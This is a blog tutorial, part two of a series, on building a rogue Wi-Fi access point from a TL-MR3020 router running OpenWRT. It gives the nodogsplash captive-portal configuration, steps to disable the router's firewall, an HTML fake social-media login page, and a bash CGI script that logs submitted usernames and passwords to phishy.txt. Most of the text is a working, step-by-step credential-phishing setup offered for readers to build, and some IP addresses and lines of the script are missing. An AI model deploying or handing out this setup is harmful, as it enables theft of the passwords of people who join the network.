Building an Evil-AP with TL-MR3020 – Part 2 – Captive Portal

This is part 2 of the “Building an Evil-AP with TL-MR3020” series. If you haven’t read part 1 you can find it here. Here’s the necessary network information that we setup in part 1.


Linux Laptop:
OpenWRT eth0:
OpenWRT wlan0:
Guest clients will connect to:

Captive Portal
A captive portal is a page that will be displayed before a client is allowed to access the internet. It will redirect all http-requests to a page of our choosing. Most often this page will only display a Terms & Agreement that a user need to accept before they are authenticated. The idea is to provide a page which allows the visitor to choose between a couple of social-media sites as authentication. After authentication a user will be assigned a unique token and it will be valid for as long as we specify (or choose to let it be). Many captive portals support that a user will be redirected once it is authenticated, regardless of the site they first requested. It is on this second site (the redirect) the AP will do bad stuff.

We’ll use nodogsplash as our captive portal. It does all that we require and is easy to configure. It is available to be installed with opkg and its source-code is on GitHub if you’re interested.

Like usual SSH into the device and install. Now the MR3020 should be accessible at

opkg update
opkg install nodogsplash

Next we need to edit the configuration file for nodogsplash. Do note that it will contain a lot of comments and standard configurations. I suggest you take a backup and create a new configuration as follows, but it is up to you. We’ll need to specify which interface it should be active on, preauthentication firewall rules and authenticated firewall rules and redirection.

vi /etc/nodogsplash/nodogsplash.conf

GatewayInterface wlan0

FirewallRuleSet authenticated-users { 
    FirewallRule allow all

FirewallRuleSet preauthenticated-users {  
    FirewallRule allow tcp port 53                                      
    FirewallRule allow udp port 53

FirewallRuleSet users-to-router {
    FirewallRule allow udp port 53                                      
    FirewallRule allow tcp port 53                                      
    FirewallRule allow udp port 67                                                  
    FirewallRule allow tcp port 22                                      
    FirewallRule allow tcp port 80                                      
    FirewallRule allow tcp port 443
    FirewallRule allow tcp port 8080

GatewayName Free Cookies

Now, you might want to restrict authenticated users more than I have. You can do this my adding more FirewallRules. Here are some (completely random) examples rules you can use as you’d like.

FirewallRule allow tcp port 80 to 123.321.123.321
FirewallRule block to
FirewallRule block tcp port 80
FirewallRule block udp port 53

I’m not going to set it up but it is also possible to restrict bandwidth for users. Use this link to see how.

This service use iptables to control the packets which will cause trouble with OpenWRTs firewall, thus we need to do the only sensible thing. Disable the firewall :)

/etc/init.d/firewall stop
/etc/init.d/firewall disable

Phishing Setup
On port 2050 we’ll serve a page with a login prompt that will post data to a bash cgi-script. Both of these services will be ran on the OpenWRT so the user will be able to visit the pages even when not authenticated. I’m not going to spend time designing or copying web-pages so you’ll have to design your own portal in any way you like. Also note that we’ll authorize a client with the cli tool ndsctl instead of handing the user a token through the webpage. Now you realize we don’t really need 2 http services running, but for clarity and showing how to edit the standard splash page we’ll do it like this. You might want to backup splash.html before we edit it.

Let’s start with firing up a secondary instance of uhttpd on port 8080. I’ll cut out the entire configuration, but you should add the following.

vi /etc/config/uhttpd

config uhttpd phishy                                            
        list listen_http ''                         
        option home /evilap/nodog                               
        option index index.html                                 
        option cgi_prefix /cgi-bin

Now we need somewhere to store our cgi and data from the login portal as well as some code.

mkdir -p /evilap/nodog/logs /evilap/nodog/cgi-bin
touch /evilap/nodog/cgi-bin/auth /evilap/nodog/index.html && chmod 755 /evilap/nodog/cgi-bin/auth
cat > /etc/nodogsplash/htdocs/splash.html <<EOF
<title>$gatewayname Portal</title>
<b> Please authorize yourself with your X social-media account </b><br /> 
        Username: <INPUT size=20 name=username VALUE="" type="text">
        Password: <INPUT size=20 name=password VALUE="" type="password"><br />
        <INPUT TYPE="submit" VALUE="Submit">
    <INPUT TYPE="reset" VALUE="Reset">

cat > /evilap/nodog/cgi-bin/auth <<EOF

$(ndsctl auth $REMOTE_ADDR)
$(echo $postdata >> ./logs/phishy.txt)
echo "Content-type: text/html"
echo '<html><head><title>Free Cookies - Thanks</title></head><body>'
echo "POST Data: $postdata"
echo "</body></html>"

I really recommend you to not using above code since it is not sanitized, it is only meant as a PoC and should be seen as such. Now, if everything is configured correctly we should be able to start everything up and users connected to the wireless network should be redirected to our captive portal serving a phishing page.

/etc/init.d/nodogsplash enable && /etc/init.d/nodogsplash start
/etc/init.d/uhttpd restart

Here are some screenshots from everything in action. Although a not very convincing phishing page :)
Login page:

Landing page:

Log file – phishy.txt

That is all for this time, not sure which part I’ll write next but it will be more at least. Please leave a comment if you enjoyed it, feedback, ideas or improvement.

Edit: Part 3 here.